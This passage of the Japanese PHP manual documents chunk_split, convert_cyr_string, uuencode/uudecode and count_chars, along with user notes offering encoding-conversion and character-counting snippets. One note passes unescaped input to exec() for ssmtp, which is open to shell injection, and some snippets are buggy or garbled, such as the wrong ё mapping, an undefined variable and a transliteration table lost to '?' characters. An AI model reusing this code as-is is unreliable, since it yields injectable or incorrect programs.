    {
        return mb_convert_encoding(
                chunk_split(
                    mb_convert_encoding($Text, "KOI8-R","UTF-8"), $Len,$End
                ),
                "UTF-8", "KOI8-R"
            );
    } else
    {
        return chunk_split($Text,$Len,$End);
    }
}

this is example for russian language
Royce 16-Apr-2008 12:31
Here's a version of Chunk Split I wrote that will not split html entities. Useful if you need to inject something in html (in my case, <wbr/> tags to allow for long text wrapping).

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
mark [at] d0gz [dot] net 10-Apr-2007 10:12
When using ssmtp for simple command line mailing:

$mail_to = "destination@emailbox.com";
$msg = "this would be an actual base64_encoded gzip msg";
$date = date(r);
$mail  = "X-FROM: root@sender.org \n";
$mail .= "X-TO: ".$mail_to. " \n";
$mail .= "To: ".$mail_to. " \n";
$mail .= "Date: $date \n";
$mail .= "From: root@sender.org \n";
$mail .= "Subject: lifecheck \n";
$mail .= $msg." \n";
exec("echo '$mail' | /usr/sbin/ssmtp ".$mail_to);

be sure to invoke chunk_split() on your message body - ssmtp becomes unhappy with long lines and will subsequently trash  your message.
hansvane at yahoo dot com dot ar 21-Jan-2007 10:06
This function is very simple and many other functions make this on PHP 5 and even some ones in 4 the good think about this one is that work on php 3.0.6 and 4

function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
    $texttoshow = chunk_split($xstr,$xlenint,"\r\n");
    $texttoshow  = split("\r\n",$texttoshow);
    $texttoshow = $texttoshow[0].$xlaststr;
    return $texttoshow;
}

// For use

echo split_hjms_chars("This is your text",6,"...");

// Will return

This i...

It is useful to cut long text on preview lists and if the server it's old.

Hope it helps some one. Hans Svane
chris AT w3style.co DOT uk 14-Aug-2006 12:32
I'm not sure what versions this also occurs in but the output of chunk_split() in PHP 5.0.4 does not match the output in other versions of PHP.

In all versions of PHP I have used, apart from 5.0.4 chunk_split() adds the separator (\r\n) to the end of the string.  But in PHP 5.0.4 this does not happen.  This had a fairly serious impact on a library I maintain so it may also affect others who are not aware of this.
xamine at gmail dot com 04-Jun-2006 11:06
In reply to "adrian at zhp dot inet dot pl" digit grouping function:
<?php
    $number = strrev(chunk_split (strrev($number), 3,' '));
    //If $number is '1234567', result is '1 234 567'.
?>

There is a much more simple way of doing this, by using the built-in number_format() function.

<?php
   $number = number_format($number,2,"."," ");

   //This will round $number to 2 decimals, use the dot (".")
   //as decimal point, and the space (" ") as thousand sepparator.

?>
kevin @t hyguard,com 03-Oct-2005 07:08
Not quite completely obvious, but...

you can un_chunk_split() by:

$long_str = str_replace( "\r\n", "", $chunked_str );
harish at thespitbox dot net 30-Jul-2005 05:45
another way to group thousands in a number, which is much simpler, is built into PHP :)

www.php.net/number_format
Kevin 25-Jun-2005 04:10
To phpkid:

This is a much simpler solution.

<?php
function longWordWrap($string) {
    $string = str_replace("\n", "\n ", $string); // add a space after newline characters, so that 2 words only seperated by \n are not considered as 1 word
    $words = explode(" ", $string); // now split by space
    foreach ($words as $word) {
        $outstring .= chunk_split($word, 12, " ") . " ";
    }
    return $outstring;
}
?>
phpkid 28-May-2005 10:47
Well I have been having issues with a shoutbox I am coding it would keep expanding the <TD> if there were large words in it but I fixed it with this:

function PadString($String){
    $Exploded = explode(" ", $String);
    $Max_Parts = count($Exploded);

    $CurArray = 0;
    $OutString = '';
    while($CurArray<=$Max_Parts)
    {
        $Peice_Size = strlen($Exploded[$CurArray]);
        if($Peice_Size>15)
        {
            $OutString .= chunk_split($Exploded[$CurArray], 12, " ");
            $CurArray++;
        } else {
            $OutString .= " ".$Exploded[$CurArray];
            $CurArray++;
        }
    }

    return $OutString;
}
mv@NOSPAM 24-Jan-2004 07:39
the best way to solve the problem with the last string added by chunk_split() is:

<?php
$string = '1234';
substr(chunk_split($string, 2, ':'), 0, -1);
// will return 12:34
?>
Danilo 10-Dec-2003 02:51
>> chunk_split will also add the break _after_ the last occurence.

this should be not the problem

substr(chunk_split('FF99FF', 2, ':'),0,8);
will return FF:99:FF


キリル文字セットを他のものに変換する

  • ≪ chunk_split
  • convert_uudecode ≫
  • PHP Manual
  • String 関数
  • キリル文字セットを他のものに変換する

convert_cyr_string

(PHP 4, PHP 5, PHP 7)

convert_cyr_string — キリル文字セットを他のものに変換する

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

convert_cyr_string ( string $str , string $from , string $to ) : string

キリル文字セットを、別の文字セットに変換します。

パラメータ

str

変換したい文字列。

from

変換元のキリル文字セットを一文字で表したもの。

to

変換先のキリル文字セットを一文字で表したもの。

サポートされている文字セットは次のとおりです。

  • k - koi8-r
  • w - windows-1251
  • i - iso8859-5
  • a - x-cp866
  • d - x-cp866
  • m - x-mac-cyrillic

返り値

変換した文字列を返します。

注意

注意: この関数はバイナリデータに対応しています。

参考

  • mb_convert_encoding() - 文字エンコーディングを変換する
  • iconv() - 文字列を指定した文字エンコーディングに変換する

User Contributed Notes

strrev(&#34;moc dot liamg at voglod dot yilisav&#34;); 20-Feb-2009 12:02
Unfortunately input data must be a string only. But it is may be changed! ;)

To convert multi-dimensional array I use this recursive function:

<?php
function convert_cyr_array($array,$from,$to){
    foreach($array as $key=>$value){
        if(is_array($value)) {
            $result[$key] = convert_cyr_array($value,$from,$to);
            continue;
        }
        $result[$key] = convert_cyr_string($value,$from,$to);
    }
    return $result;
}
?>

An example:

<?php
$array[0] = "сВМПЛП";
$array[1] = "зТХЫБ";
$array[2] = array("пЗХТЕГ","рПНЙДПТ");
$array[3] = array(
                     array("бРЕМШУЙО","нБОДБТЙО"),
                     array("бВТЙЛПУ","рЕТУЙЛ")
                );

$result = convert_cyr_array($array,"k","w");
/* Returns:

Array
(
  [0] => Яблоко
  [1] => Груша
  [2] => Array
    (
      [0] => Огурец
      [1] => Помидор
    )
  [3] => Array
    (
      [0] => Array
        (
          [0] => Апельсин
          [1] => Мандарин
        )
      [1] => Array
        (
          [0] => Абрикос
          [1] => Персик
        )
    )
)*/
?>
apoc at ukr dot net 17-Sep-2007 10:43
:) what about NUMBER!!!???

    function Utf8Win($str,$type="w")
    {
        static $conv='';
        if (!is_array($conv))
        {
            $conv = array();
            for($x=128;$x<=143;$x++)
            {
                $conv['u'][]=chr(209).chr($x);
                $conv['w'][]=chr($x+112);
            }
            for($x=144;$x<=191;$x++)
            {
                $conv['u'][]=chr(208).chr($x);
                $conv['w'][]=chr($x+48);
            }
            $conv['u'][]=chr(208).chr(129); // Ё
            $conv['w'][]=chr(168);
            $conv['u'][]=chr(209).chr(145); // ё
            $conv['w'][]=chr(184);
            $conv['u'][]=chr(208).chr(135); // ?
            $conv['w'][]=chr(175);
            $conv['u'][]=chr(209).chr(151); // ?
            $conv['w'][]=chr(191);
            $conv['u'][]=chr(208).chr(134); // ?
            $conv['w'][]=chr(178);
            $conv['u'][]=chr(209).chr(150); // ?
            $conv['w'][]=chr(179);
            $conv['u'][]=chr(210).chr(144); // ?
            $conv['w'][]=chr(165);
            $conv['u'][]=chr(210).chr(145); // ?
            $conv['w'][]=chr(180);
            $conv['u'][]=chr(208).chr(132); // ?
            $conv['w'][]=chr(170);
            $conv['u'][]=chr(209).chr(148); // ?
            $conv['w'][]=chr(186);
            $conv['u'][]=chr(226).chr(132).chr(150); // №
            $conv['w'][]=chr(185);
        }
        if ($type == 'w') { return str_replace($conv['u'],$conv['w'],$str); }
        elseif ($type == 'u') { return str_replace($conv['w'], $conv['u'],$str); }
        else { return $str; }
    }
Vasyl Skotona 14-Sep-2007 09:28
A better function to convert cp1251 string to utf8.
Works with russian and ukrainian text.

function unicod($str) {
    $conv=array();
    for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
    for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
    $conv[184]=chr(209).chr(145); #ё
    $conv[168]=chr(208).chr(129); #Ё
    $conv[179]=chr(209).chr(150); #?
    $conv[178]=chr(208).chr(134); #?
    $conv[191]=chr(209).chr(151); #?
    $conv[175]=chr(208).chr(135); #?
    $conv[186]=chr(209).chr(148); #?
    $conv[170]=chr(208).chr(132); #?
    $conv[180]=chr(210).chr(145); #?
    $conv[165]=chr(210).chr(144); #?
    $conv[184]=chr(209).chr(145); #?
    $ar=str_split($str);
    foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
    return $nstr;
}
Sote Korveziroski 24-May-2006 02:53
I have made mistake remove this test line:
         echo "<p>".ord($xchr)."</p>\n";
code should be like this:

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
Sote Korveziroski 24-May-2006 10:24
Only this code works OK for me, for translating win-1251 to utf-8 for macedonian letters!

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         echo "<p>".ord($xchr)."</p>\n";
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
zehyaat] yandex dotru 23-Mar-2006 12:15
Sorry for my previous post. NOT array_reverce, array_flip is actual function. Correct function:

function Encode($str,$type=u)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_flip($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}

Sorry for my English ;)
zehya [at] yandex dotru 23-Mar-2006 11:58
cathody at mail dot ru(27-Jul-2005 06:41)
You function doesn't work on my PC..
It's work:
function Encode2($str,$type)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_reverse($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}
webmaster at chassidus dot ru 29-Aug-2005 10:51
//I've also built the same way for hebrew to utf converting

function heb2utf($s) {

    for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=224 )    {$t.=chr(215).chr($c-80); continue; }

   }
    return $t;
}

//Simple unicoder and decoder for hebrew and russian:

function unicode_hebrew($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>223) {
            $xchr=ord($xchr)+1264;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function unicode_russian($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>191) {
            $xchr=ord($xchr)+848;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function decode_unicoded_hebrew($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1456 and $code<=1514) { //hebrew
                   $code=$code-1264;
                $xchr=chr($code);
               } else { //other unicode
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else //not unicode
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}

function decode_unicoded_russian($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1040 and $code<=1103) {
                   $code=$code-848;
                $xchr=chr($code);
               } else {
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}
cathody at mail dot ru 27-Jul-2005 06:41
Praising other people for their efforts to write a convenient UTF8 to Win-1251 functions may I mention that, since str_replace allows arrays as parameters, the function may be rewritten in a slightly efficient way (moreover, the array generated may be stored for performance improvement):

<?php

 function Encode ( $str, $type )
{
 // $type:
// 'w' - encodes from UTF to win
 // 'u' - encodes from win to UTF

    static $conv='';
    if (!is_array ( $conv ))
    {
        $conv=array ();
        for ( $x=128; $x <=143; $x++ )
        {
          $conv['utf'][]=chr(209).chr($x);
          $conv['win'][]=chr($x+112);
        }

        for ( $x=144; $x <=191; $x++ )
        {
               $conv['utf'][]=chr(208).chr($x);
               $conv['win'][]=chr($x+48);
        }

        $conv['utf'][]=chr(208).chr(129);
        $conv['win'][]=chr(168);
        $conv['utf'][]=chr(209).chr(145);
        $conv['win'][]=chr(184);
     }
     if ( $type=='w' )
          return str_replace ( $conv['utf'], $conv['win'], $str );
     elseif ( $type=='u' )
          return str_replace ( $conv['win'], $conv['utf'], $str );
     else
        return $str;
  }
?>
felix[at]tvpro.net.ru 13-Feb-2005 12:57
Check this code -- exelent to convert win-1251 to UTF-8
just one fix!!!
       if ($c==184) { $t.=chr(209).chr(145); continue; };

Anything more it is not necessary.
It is grateful to threed [at] koralsoft.com
28-Jul-2003 03:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
standov at cgu dot kiev dot ua 08-Dec-2004 01:05
He is improved function to decode win1251->UTF8
<?php
        function win2utf($s){
            $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
            for($i=0; $i<strlen($s); $i++)    {
                $c=ord($s[$i]);
                if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
                elseif ($c>239) $t.=$c209.chr($c-112);
                elseif ($c==184) $t.=$c209.$c209;
                elseif ($c==168)    $t.=$c208.$c129;
                else $t.=$s[$i];
            }
            return $t;
        }
?>
aeon 27-Dec-2003 08:20
threed's function works great, but the replacement for the letter small io (&#1105;) needs to be changed from
<?php
if ($c==184) { $t.=chr(209).chr(209); continue; };
?>

to
<?php
if ($c==184) { $t.=chr(209).chr(145); continue; };
?>

so, the final working result should look like this:
<?php
function win3utf($s) {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
       if ($c==168) { $t.=chr(208).chr(129); continue; };
   }
   return $t;
}
?>
threed [at] koralsoft.com 28-Jul-2003 04:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
    for($i=0, $m=strlen($s); $i<$m; $i++)    {
        $c=ord($s[$i]);
        if ($c<=127) {$t.=chr($c); continue; }
        if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
        if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
        if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
        if ($c==184) { $t.=chr(209).chr(209); continue; };
    if ($c==168) { $t.=chr(208).chr(129);  continue; };
    }
    return $t;
}
?>
german at artexpert dot ee 03-May-2003 05:13
previous bit of code (grmaxim's win_to_utf8 function) didn't work for me, so I wrote my own func to convert from win1251 to utf8:

<?php
function win2utf($s) {
    for($i=0,$m=strlen($s);$i<$m;$i++) {
        $c=ord($s[$i]);
        if ($c>127) // convert only special chars
            if     ($c==184)    $t.=chr(209).chr(209); // small io
            elseif ($c==168)    $t.=chr(208).chr(129); // capital io
            else              $t.=($c>239?chr(209):chr(208)).chr($c-48);
        else $t.=$s[$i];
    }
    return $t;
}
?>

Hope this helps
pavel_bashkatov at elkogroup dot com 17-Apr-2003 05:20
To: mihailsbo at lycos dot ru
Transliteration could be done easier:

<?
function transliterate($cyrstr)
    {
        $ru = array('A', 'a',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?');

        $en = array('A', 'a',
                    'B', 'b',
                    'V', 'v',
                    'G', 'g',
                    'D', 'd',
                    'E', 'e',
                    'E', 'e',
                    'Zh', 'zh',
                    'Z', 'z',
                    'I', 'i',
                    'J', 'j',
                    'K', 'k',
                    'L', 'l',
                    'M', 'm',
                    'N', 'n',
                    'O', 'o',
                    'P', 'p',
                    'R', 'r',
                    'S', 's',
                    'T', 't',
                    'U', 'u',
                    'F', 'f',
                    'H', 'h',
                    'C', 'c',
                    'Ch', 'ch',
                    'Sh', 'sh',
                    'Sch', 'sch',
                    '\'', '\'',
                    'Y', 'y',
                    '\'', '\'',
                    'E', 'e',
                    'Ju', 'ju',
                    'Ja', 'ja');

        return str_replace($ru, $en, $cyrstr);
    }
?>
mokvas at freemail dot org dot mk 30-Jul-2001 09:45
Not all of cyrilic characters are supported by this function. Cyrilic chars from Macedonian Alphabet like Sh, kj, dz' ,nj are not supported.


uuencode された文字列をデコードする

  • ≪ convert_cyr_string
  • convert_uuencode ≫
  • PHP Manual
  • String 関数
  • uuencode された文字列をデコードする

convert_uudecode

(PHP 5, PHP 7, PHP 8)

convert_uudecode — uuencode された文字列をデコードする

説明

convert_uudecode ( string $string ) : string|false

convert_uudecode() は、uuencode された文字列をデコードします。

注意: convert_uudecode() は、 uuencode された ファイル に含まれる begin, end を両方受け入れません。

パラメータ

string

uuencode されたデータ。

返り値

デコードしたデータを文字列で返します。失敗した場合に false を返します。

例

例1 convert_uudecode() の例

<?php
echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");
?>

上の例の出力は以下となります。

I love PHP!

参考

  • convert_uuencode() - 文字列を uuencode する

User Contributed Notes

There are no user contributed notes for this page.


文字列を uuencode する

  • ≪ convert_uudecode
  • count_chars ≫
  • PHP Manual
  • String 関数
  • 文字列を uuencode する

convert_uuencode

(PHP 5, PHP 7, PHP 8)

convert_uuencode — 文字列を uuencode する

説明

convert_uuencode ( string $string ) : string

convert_uuencode() は、uuencode アルゴリズムを使用して文字列をエンコードします。

uuencode はすべての文字(バイナリを含む)を表示可能な文字に変換し、 ネットワーク上での転送を可能にします。uuencode されたデータは、 元のデータより約 35% 大きくなります。

注意: convert_uuencode() 関数は、 uuencode された ファイル に含まれる begin や end を両方生成しません。

パラメータ

string

エンコードしたいデータ。

返り値

uuencode されたデータを返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、 空文字列を変換しようとすると、特別な理由がないのに false を返していました。

例

例1 convert_uuencode() の例

<?php
$some_string = "test\ntext text\r\n";

echo convert_uuencode($some_string);
?>

上の例の出力は以下となります。

0=&5S=`IT97AT('1E>'0-"@``
`

参考

  • convert_uudecode() - uuencode された文字列をデコードする
  • base64_encode() - MIME base64 方式でデータをエンコードする

User Contributed Notes

zash at zash dot se 30-May-2008 12:30
note that using base64 or uuencode to store data in a database is pretty useless. if you properly escape your data and use a binary field (BLOB etc) there is no problem.
root at mantoru dot de 10-Nov-2007 09:29
@Craig's note: base64_encode() is better suited for that. In fact, it produces smaller output and operates slightly faster. I did a little benchmark -- here are my findings:

File: JPG, 631614 bytes

== Base64 ==
execution time: 0.0039639472961426 secs
output length: 842152

== UUencode ==
execution time: 0.004105806350708 secs
output length: 870226


文字列で使用されている文字に関する情報を返す

  • ≪ convert_uuencode
  • crc32 ≫
  • PHP Manual
  • String 関数
  • 文字列で使用されている文字に関する情報を返す

count_chars

(PHP 4, PHP 5, PHP 7, PHP 8)

count_chars — 文字列で使用されている文字に関する情報を返す

説明

count_chars ( string $string , int $mode = 0 ) : array|string

string において各バイト値 (0..255) が存在する数をかぞえ、様々な手法で返します。

パラメータ

string

調べたい文字列。

mode

返り値を参照ください。

返り値

mode の値により、 count_chars() は以下の値のどれかを返します。

  • 0 - 各バイト値をキー、各バイトの出現回数を値とする配列。
  • 1 - 0と同じですが、各バイト値の出現回数がゼロより大きいものの一覧となります。
  • 2 - 0と同じですが、各バイト値の出現回数がゼロであるものの一覧となります。
  • 3 - すべての一意な文字を含む文字列を返します。
  • 4 - 使用されていない全ての文字を含む文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、この関数は失敗時に false を返していました。

例

例1 count_chars() の例

<?php
$data = "Two Ts and one F.";

foreach (count_chars($data, 1) as $i => $val) {
   echo "There were $val instance(s) of \"" , chr($i) , "\" in the string.\n";
}
?>

上の例の出力は以下となります。

There were 4 instance(s) of " " in the string.
There were 1 instance(s) of "." in the string.
There were 1 instance(s) of "F" in the string.
There were 2 instance(s) of "T" in the string.
There were 1 instance(s) of "a" in the string.
There were 1 instance(s) of "d" in the string.
There were 1 instance(s) of "e" in the string.
There were 2 instance(s) of "n" in the string.
There were 2 instance(s) of "o" in the string.
There were 1 instance(s) of "s" in the string.
There were 1 instance(s) of "w" in the string.

参考

  • strpos() - 文字列内の部分文字列が最初に現れる場所を見つける
  • substr_count() - 副文字列の出現回数を数える

User Contributed Notes

Andrey G 22-Feb-2020 06:44
Checking that two strings are anagram:

<?php

function isAnagram($string1, $string2)
{
  return count_chars($string1, 1) === count_chars($string2, 1);
}

isAnagram('act', 'cat'); // true

?>
Anonymous 26-Jan-2016 05:29
count_chars for multibyte supported.

<?php

function mb_count_chars ($string, $mode = 0) {

    $result =  array_fill(0, 256, 0);

    for ($i = 0, $size = mb_strlen($string); $i < $size; $i++) {
        $char = mb_substr($string, $i, 1);
        if (strlen($char) > 1) {
            continue;
        }

        $code = ord($char);
        if ($code >= 0 && $code <= 255) {
            $result[$code]++;
        }
    }

    switch ($mode) {
        case 1: // same as 0 but only byte-values with a frequency greater than zero are listed.
            foreach ($result as $key => $value) {
                if ($value == 0) {
                    unset($result[$key]);
                }
            }
            break;
        case 2: // same as 0 but only byte-values with a frequency equal to zero are listed.
            foreach ($result as $key => $value) {
                if ($value > 0) {
                    unset($result[$key]);
                }
            }
            break;
        case 3: // a string containing all unique characters is returned.
            $buildString = '';
            foreach ($result as $key => $value) {
                if ($value > 0) {
                    $buildString .= chr($key);
                }
            }
            return $buildString;
        case 4: // a string containing all not used characters is returned.
            $buildString = '';
            foreach ($result as $key => $value) {
                if ($value == 0) {
                    $buildString .= chr($key);
                }
            }
            return $buildString;
    }

    // change key names...
    foreach ($result as $key => $value) {
        $result[chr($key)] = $value;
        unset($result[$key]);
    }

    return $result;

}
?>
qeremy [atta] gmail [dotta] com 19-Jan-2013 06:06
Another approach to counting unicode chars.

<?php
function count_chars_unicode($str, $x = false) {
    $tmp = preg_split('//u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($tmp as $c) {
        $chr[$c] = isset($chr[$c]) ? $chr[$c] + 1 : 1;
    }
    return is_bool($x)
        ? ($x ? $chr : count($chr))
        : $chr[$x];
}

$str = "?eker ?eker yariiiiiiiiiimmmmm";
print_r(count_chars_unicode($str, 'a'));    // frequency of "a"
print_r(count_chars_unicode($str));         // count of uniq chars
print_r(count_chars_unicode($str, true));   // all chars with own frequency
?>

Outputs;
1
9
Array
(
    [?] => 2
    [e] => 4
    [k] => 2
    [r] => 3
    [ ] => 2
    [y] => 1
    [a] => 1
    [i] => 10
    [m] => 5
)
marcus33cz 01-Feb-2012 11:43
If you have problems using count_chars with a multibyte string, you can change the page encoding. Alternatively, you can also use this mb_count_chars version of the function. Basically it is mode "1" of the original function.

<?php
/**
 * Counts character occurences in a multibyte string
 * @param string $input UTF-8 data
 * @return array associative array of characters.
 */
function mb_count_chars($input) {
    $l = mb_strlen($input, 'UTF-8');
    $unique = array();
    for($i = 0; $i < $l; $i++) {
        $char = mb_substr($input, $i, 1, 'UTF-8');
        if(!array_key_exists($char, $unique))
            $unique[$char] = 0;
        $unique[$char]++;
    }
    return $unique;
}

$input = "Let's try some Greek letters: αααααΕεΙιΜμΨψ, Russian: ЙЙЫЫЩН, Czech: ?????yaie";
print_r( mb_count_chars($input) );
//returns: Array ( [L] => 1 [e] => 7 [t] => 4 ['] => 1 [s] => 5 [ ] => 9 [r] => 3 [y] => 1 [o] => 1 [m] => 1 [G] => 1 [k] => 1 [l] => 1 [:] => 3 [α] => 5 [Ε] => 1 [ε] => 1 [Ι] => 1 [ι] => 1 [Μ] => 1 [μ] => 1 [Ψ] => 1 [ψ] => 1 [,] => 2 [R] => 1 [u] => 1 [i] => 1 [a] => 1 [n] => 1 [Й] => 2 [Ы] => 2 [Щ] => 1 [Н] => 1 [C] => 1 [z] => 1 [c] => 1 [h] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [y] => 1 [a] => 1 [i] => 1 [e] => 1 )
?>
phpC2007 04-Dec-2007 07:42
Here's a function to count number of strings in a string. It can be used as a simple utf8-enabled count_chars (but limited to a single mode)...

<?php
function utf8_count_strings($stringChar)
{
    $num = -1;
    $lenStringChar = strlen($stringChar);

    for ($lastPosition = 0;
        $lastPosition !== false;
        $lastPosition = strpos($textSnippet, $stringChar, $lastPosition + $lenStringChar))
    {
        $num++;
    }

    return $num;
}
?>
pzb at novell dot com 28-Jul-2007 06:29
This function is great for input validation.  I frequently need to check that all characters in a string are 7-bit ASCII (and not null).  This is the fastest function I have found yet:

<?php
function is7bit($string) {
    // empty strings are 7-bit clean
    if (!strlen($string)) {
        return true;
    }
    // count_chars returns the characters in ascending octet order
    $str = count_chars($str, 3);
    // Check for null character
    if (!ord($str[0])) {
        return false;
    }
    // Check for 8-bit character
    if (ord($str[strlen($str)-1]) & 128) {
        return false;
    }
    return true;
}
?>
apinpratap at gmail dot com 29-Mar-2007 10:54
this code can find each characters count

<?php
$enter = 0;
$data = strtolower ($inputString);
foreach (count_chars ($data, 1) as $i => $val)
    {
        if ($enter == 1)
        {
            $enter = 0;
            continue;
        }
        if (chr ($i) == "\n")
        {
            echo "There are $val instance(s) of \" Enter \" in the string.\n";
            $enter = 1;
        }
        else
        {
            echo "There are $val instance(s) of \"" , chr ($i) , "\" in the string.\n";
        }
    }
?>
